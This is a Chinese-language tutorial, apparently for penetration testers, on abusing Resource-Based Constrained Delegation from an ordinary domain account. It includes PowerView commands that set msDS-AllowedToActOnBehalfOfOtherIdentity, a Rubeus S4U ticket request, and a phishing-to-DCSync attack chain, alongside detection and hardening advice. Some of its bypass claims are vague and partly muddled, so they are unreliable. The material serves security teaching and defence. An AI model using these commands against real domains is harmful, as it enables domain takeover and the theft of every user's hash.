使用普通域账户基于资源委派利用(无机器用户创建)
字数 1272 2025-09-01 11:25:53
基于资源委派的普通域账户利用技术(无机器用户创建)
概述
本文详细介绍了使用普通域账户基于资源委派(Resource-Based Constrained Delegation, RBCD)进行权限提升的技术,无需创建机器用户账户。该技术在渗透测试和红队评估中具有重要价值,能够绕过传统约束委派的一些限制。
技术背景
基于资源的约束委派(RBCD)是Windows Active Directory中的一种安全特性,允许服务账户配置哪些其他账户可以代表自己进行委派。与传统的约束委派不同,RBCD将委派控制权放在资源(服务)端而非客户端。
核心原理
- S4U2Self/S4U2Proxy机制:这是Kerberos协议的扩展,允许服务代表用户获取服务票据
- 资源委派特性:目标服务的
msDS-AllowedToActOnBehalfOfOtherIdentity属性控制哪些主体可以委派到该服务 - 普通用户利用:通过修改目标服务的委派属性,使普通用户能够获得高权限访问
攻击流程
前置条件
- 拥有一个普通域用户账户
- 对目标服务账户具有写入权限(或通过其他漏洞获得相应权限)
- 目标服务运行在支持委派的系统上(如域控制器、SQL服务器等)
详细步骤
-
信息收集
- 使用PowerView或其他AD枚举工具识别潜在目标
Get-DomainComputer -Identity <目标计算机> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity -
配置委派属性
- 为目标服务设置允许当前用户委派的权限
$target = Get-DomainComputer -Identity <目标计算机> $sid = Get-DomainUser -Identity <当前用户> -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Set-DomainObject -Identity $target -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -
获取服务票据
- 使用Rubeus工具请求服务票据
Rubeus.exe s4u /user:<当前用户> /impersonateuser:<要模拟的用户> /msdsspn:<目标服务SPN> /altservice:<替代服务> /ptt -
权限利用
- 使用获得的票据访问目标服务
- 常见利用方式包括DCSync、远程命令执行等
绕过限制的技术
绕过S4U2Self限制
- 利用服务账户通常具有
SeImpersonatePrivilege特权 - 通过修改服务主体名称(SPN)来匹配目标服务
绕过S4U2Proxy限制
- 使用
msDS-AllowedToActOnBehalfOfOtherIdentity属性直接配置委派关系 - 利用Kerberos票据的转发特性
防御措施
-
监控与检测
- 监控对
msDS-AllowedToActOnBehalfOfOtherIdentity属性的修改 - 检测异常的Kerberos票据请求
- 监控对
-
配置加固
- 限制普通用户对服务账户的写入权限
- 实施最小权限原则,严格控制委派设置
-
架构优化
- 使用特权访问工作站(PAW)进行管理
- 实施AD分层管理模型
实际案例
在渗透测试中,攻击者可能通过以下路径利用此技术:
- 通过钓鱼获取普通域用户凭据
- 利用ACL漏洞或错误配置获得对某服务账户的写入权限
- 配置RBCD设置
- 获取域管理员权限票据
- 执行DCSync攻击获取所有域用户哈希
工具推荐
- PowerView:用于AD枚举和属性修改
- Rubeus:用于Kerberos票据操作
- Impacket:提供多种Kerberos相关攻击脚本
- BloodHound:用于可视化AD攻击路径
总结
基于资源委派的普通域账户利用技术展示了Active Directory安全配置中的潜在风险。防御者需要全面理解委派机制,实施严格的权限控制和监控,才能有效防范此类攻击。